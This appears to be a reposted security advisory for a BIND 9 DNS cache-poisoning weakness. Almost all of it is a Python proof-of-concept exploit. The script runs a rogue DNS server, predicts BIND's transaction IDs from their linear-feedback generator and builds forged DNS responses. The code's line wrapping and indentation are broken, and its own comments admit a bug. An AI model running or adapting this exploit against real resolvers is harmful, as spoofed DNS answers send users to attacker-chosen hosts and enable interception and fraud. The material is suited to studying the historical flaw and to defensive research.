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DNS Cache Poison (BIND 9)
------------------------------------------------------------------------
SUMMARY
A vulnerability in BIND 9 allows remote attackers to cause a cache
poisoning attack against it, the following exploit code is a proof of
concept to the details published here
<http://www.securiteam.com/securitynews/5VP0L0UM0A.html> BIND 9 DNS Cache
Poisoning.
DETAILS
Exploit:
#!/usr/bin/env python
"""
DNS Cache Poison v0.3beta by posedge
based on the Amit Klein paper: http://www.trusteer.com/docs/bind9dns.html
output: <time>:<ip>:<port>: id: <id> q: <query> g: <good> e: <error>
id: ID to predict
q: number of queries from the DNS server (only queries with LSB at 0 in
ID)
g: number of good predicted IDs
e: number of errors while trying to predict a *supposed to be* predicted
ID
"""
import socket, select, sys, time
from struct import unpack, pack
from socket import htons
_ANSWER_TIME_LIMIT = 1.0 # 1sec
_NAMED_CONF = [[<your_dns1_hostname>, <your_dns1_ip>], \
[<your_dns2_hostname>, <your_dns2_ip>], \
[<etc>, <etc>]]
class BINDSimplePredict:
def __init__(self, txid, bind_9_2_3___9_4_1=True):
self.txid = txid
self.cand = []
if bind_9_2_3___9_4_1 == True:
# For BIND9 v9.2.3-9.4.1:
self.tap1=0x80000057
self.tap2=0x80000062
else:
# For BIND9 v9.0.0-9.2.2:
self.tap1=0xc000002b # (0x80000057>>1)|(1<<31)
self.tap2=0xc0000061 # (0x800000c2>>1)|(1<<31)
self.next = self.run()
return
def run(self):
if (self.txid & 1) != 0:
#print "info: LSB is not 0. Can't predict the next transaction ID."
return False
#print "info: LSB is 0, predicting..."
# One bit shift (assuming the two lsb's are 0 and 0)
for msb in xrange(0, 2):
self.cand.append(((msb<<15)|(self.
txid>>1)) & 0xFFFF)
# Two bit shift (assuming the two lsb's are 1 and 1)
# First shift (we know the lsb is 1 in both LFSRs):
v=self.txid
v=(v>>1)^self.tap1^self.tap2
if (v & 1) == 0:
# After the first shift, the lsb becomes 0, so the two LFSRs now
have
# identical lsb's: 0 and 0 or 1 and 1
# Second shift:
v1=(v>>1) # 0 and 0
v2=(v>>1)^self.tap1^self.tap2 # 1 and 1
else:
# After the first shift, the lsb becomes 1, so the two LFSRs now
have
# different lsb's: 1 and 0 or 0 and 1
# Second shift:
v1=(v>>1)^self.tap1 # 1 and 0
v2=(v>>1)^self.tap2 # 0 and 1
# Also need to enumerate over the 2 msb's we are clueless about
for msbits in xrange(0, 4):
self.cand.append(((msbits<<14)|v1) & 0xFFFF)
self.cand.append(((msbits<<14)|v2) & 0xFFFF)
return True;
class DNSData:
def __init__(self, data):
self.data=data
self.name=''
for i in xrange(12, len(data)):
self.name+=data[i]
if data[i] == '\x00':
break
q_type = unpack(">H", data[i+1:i+3])[0]
if q_type != 1: # only type: A (host address) allowed.
self.name = None
return
def response(self, ip=None):
packet=''
packet+=self.data[0:2] # id
packet+="\x84\x10" # flags
packet+="\x00\x01" # questions
packet+="\x00\x01" # answer RRS
packet+="\x00\x00" # authority RRS
packet+="\x00\x00" # additional RRS
packet+=self.name # queries: name
packet+="\x00\x01" # queries: type (A)
packet+="\x00\x01" # queries: class (IN)
packet+="\xc0\x0c" # answers: name
if ip == None:
packet+="\x00\x05" # answers: type (CNAME)
packet+="\x00\x01" # answers: class (IN)
packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
packet+=pack(">H", len(self.name)+2) # answers: data length
packet+="\x01" + "x" + self.name # answers: primary name
else:
packet+="\x00\x01" # answers: type (A)
packet+="\x00\x01" # answers: class (IN)
packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
packet+="\x00\x04" # answers: data length
packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # IP
#packet+="\x00\x00\x29\x10\x00\x00\x00\x0
0\x00\x00\x00" # Additional
return packet
class DNSServer:
def __init__(self):
self.is_r = []
self.is_w = []
self.is_e = []
self.targets = []
self.named_conf = []
for i in xrange(len(_NAMED_CONF)):
start = 0
tmp = ''
for j in xrange(len(_NAMED_CONF[i][0])):
if _NAMED_CONF[i][0][j] == '.':
tmp += chr(j - start)
tmp += _NAMED_CONF[i][0][start:j]
start = j + 1
tmp += chr(j - start + 1)
tmp += _NAMED_CONF[i][0][start:] + "\x00"
self.named_conf.append([tmp, _NAMED_CONF[i][1]])
return
def run(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.s.bind(('',53))
self.is_r.append(self.s)
next = False
i = 0
while 1:
r, w, e = select.select(self.is_r, self.is_w, self.is_e, 1.0)
if r:
try:
data, addr = self.s.recvfrom(1024)
except socket.error:
continue
txid = unpack(">H", data[0:2])[0]
p=DNSData(data)
if p.name == None:
continue
found = False
for j in xrange(len(self.named_conf)):
if p.name == self.named_conf[j][0]:
found = True
break
if found == True:
self.s.sendto(p.response(self.named_conf[j][1]), addr)
continue
# FIXME: wrong code, 'i' is 0 at begin and when 1 item in list...
for i in xrange(len(self.targets)):
if self.targets[i][0] == addr[0]:
break
if i == len(self.targets):
self.targets.append([addr[0], False, time.time(), [None, None],
\
None, 0, 0, 0])
if self.targets[i][1] == False:
bsp = BINDSimplePredict(txid)
self.targets[i][1] = bsp.next
self.targets[i][3][0] = bsp.cand
bsp = BINDSimplePredict(txid, False)
self.targets[i][3][1] = bsp.cand
else:
if p.name == self.targets[i][4]:
elapsed = time.time() - self.targets[i][2]
if elapsed > _ANSWER_TIME_LIMIT:
print 'info: slow answer, discarding (%.2f sec)' % elapsed
else:
self.targets[i][5] += 1
found_v1 = False
found_v2 = False
for j in xrange(10):
if self.targets[i][3][0][j] == txid:
found_v1 = True
break
if self.targets[i][3][1][j] == txid:
found_v2 = True
break
if found_v1 == True or found_v2 == True:
self.targets[i][6] += 1
else:
self.targets[i][7] += 1
# TODO: if found_v1 or found_v2 is True, then show bind
version!
print "\n" + str(i) + ' target:', self.targets
print '%f:%s:%d: id: %04x q: %d g: %d e: %d' % (time.time(),
\
addr[0], addr[1], txid, self.targets[i][5], \
self.targets[i][6], self.targets[i][7])
self.targets[i][1] = False
self.targets[i][2] = time.time()
self.targets[i][4] = "\x01" + "x" + p.name
self.s.sendto(p.response(), addr)
return
def close(self):
self.s.close()
return
if __name__ == '__main__':
dns_srv = DNSServer()
try:
dns_srv.run()
except KeyboardInterrupt:
print 'ctrl-c, leaving...'
dns_srv.close()
ADDITIONAL INFORMATION
The information has been provided by <mailto:kralor@coromputer.net>
kralor.
========================================
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